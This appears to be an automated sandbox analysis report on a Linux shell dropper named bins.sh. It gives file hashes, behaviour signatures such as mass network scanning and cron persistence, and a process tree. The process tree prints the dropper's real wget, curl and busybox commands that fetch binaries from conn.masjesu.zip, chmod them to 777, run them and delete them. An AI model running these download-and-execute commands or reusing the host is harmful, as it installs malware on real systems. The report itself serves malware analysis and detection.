Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 11:07

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    eb008a7649bbefcb93fb8c8abb3d93b3

  • SHA1

    95e5d4b482ba5bdf62089be5960e22a2fc9a94fa

  • SHA256

    2cb3c4941da8f50fa5dc57bf9d7a2f2b522a7c03cc8cdd382cfbb62b8efc1aa8

  • SHA512

    e8f234d2dafc6752229c03457f0d58d2779fd07a342895d17480a6eb03ebf32aafdf8c13a4266a295b95c689c111f6a2dc2b917f8f62fb7d683bf18c77019f97

  • SSDEEP

    192:es0jeSOCHqzjiswV1F1eoggX6u5QQQSH7YX6u5QQlH7YXeZHyzjiswVZs0jeS51:7TzjiJV1FQrgaSH7Y3H7YuozjiJV9

Malware Config

Signatures

  • Contacts a large (2045) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 5 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 16 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:704
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:730
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/chmod
          chmod 777 XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • File and Directory Permissions Modification
          PID:733
        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          ./XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:734
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:736
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:737
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:738
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:739
              • /bin/rm
                rm XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR
                2⤵
                  PID:741
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                  2⤵
                  • System Network Configuration Discovery
                  PID:744
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                  2⤵
                  • System Network Configuration Discovery
                  PID:745
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:826
                • /bin/chmod
                  chmod 777 I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                  2⤵
                  • File and Directory Permissions Modification
                  PID:827
                • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                  ./I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                  2⤵
                  • Executes dropped EXE
                  PID:828
                • /bin/rm
                  rm I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72
                  2⤵
                    PID:830
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                    2⤵
                    • System Network Configuration Discovery
                    PID:831
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                    2⤵
                    • System Network Configuration Discovery
                    PID:832
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                    2⤵
                    • System Network Configuration Discovery
                    PID:833
                  • /bin/chmod
                    chmod 777 pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                    2⤵
                    • File and Directory Permissions Modification
                    PID:836
                  • /tmp/pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                    ./pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                    2⤵
                      PID:837
                    • /bin/rm
                      rm pdEXBunZfxLpGhH7P9oIV8xz96LOkwVFIT
                      2⤵
                        PID:839
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                        2⤵
                        • System Network Configuration Discovery
                        PID:841
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                        2⤵
                        • System Network Configuration Discovery
                        PID:845
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:849
                      • /bin/chmod
                        chmod 777 uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                        2⤵
                        • File and Directory Permissions Modification
                        PID:894
                      • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                        ./uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                        2⤵
                        • Executes dropped EXE
                        PID:896
                      • /bin/rm
                        rm uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ
                        2⤵
                          PID:899
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                          2⤵
                          • System Network Configuration Discovery
                          PID:900
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                          2⤵
                          • System Network Configuration Discovery
                          PID:901
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:903
                        • /bin/chmod
                          chmod 777 lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                          2⤵
                          • File and Directory Permissions Modification
                          PID:905
                        • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                          ./lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                          2⤵
                          • Executes dropped EXE
                          PID:906
                        • /bin/rm
                          rm lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT
                          2⤵
                            PID:908
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/zrLKoVVorIBLMlwRqIhts0uD4axUtXucWz
                            2⤵
                            • System Network Configuration Discovery
                            PID:909

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/I0lFteEawbJ2WBcXsletRRgRlmO7jvdj72

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/XKKiKg2bxGr3Z2lqZoLFko5NtSqpJCRioR

                          Filesize

                          151KB

                          MD5

                          6c583043d91c55aa470c08c87058e917

                          SHA1

                          abf65a5b9bba69980278ad09356e53de8bb89439

                          SHA256

                          2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                          SHA512

                          82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                        • /tmp/lXAums4ceaHEmYsmj0Y5UgjLd6aCOD6ApT

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/uxJtSitYVuoAPgEyiedRmOBWubKTGByXdZ

                          Filesize

                          112KB

                          MD5

                          05d7857dcead18bbd86d2935f591873c

                          SHA1

                          34d18f41ef35f93d5364ce3e24d74730a4e91985

                          SHA256

                          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                          SHA512

                          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                        • /var/spool/cron/crontabs/tmp.qKP6tz

                          Filesize

                          210B

                          MD5

                          62824b99563d4b039772b58b93fb91e1

                          SHA1

                          f06706b1085fd505e7eb36b9256a6fc93c45eeb3

                          SHA256

                          3af8784e27880f3c8cd55827ade841570de519c1b5372067a411afd82c6e3d6f

                          SHA512

                          d1918b7a947ea632e8f6cbd1b0d2e4f8340f6aedfceb12a4ad708394c44958d580689266f9b0408795ca0b40e4fc199ea0f3cdd2a51fb922e86aded3d35abfd0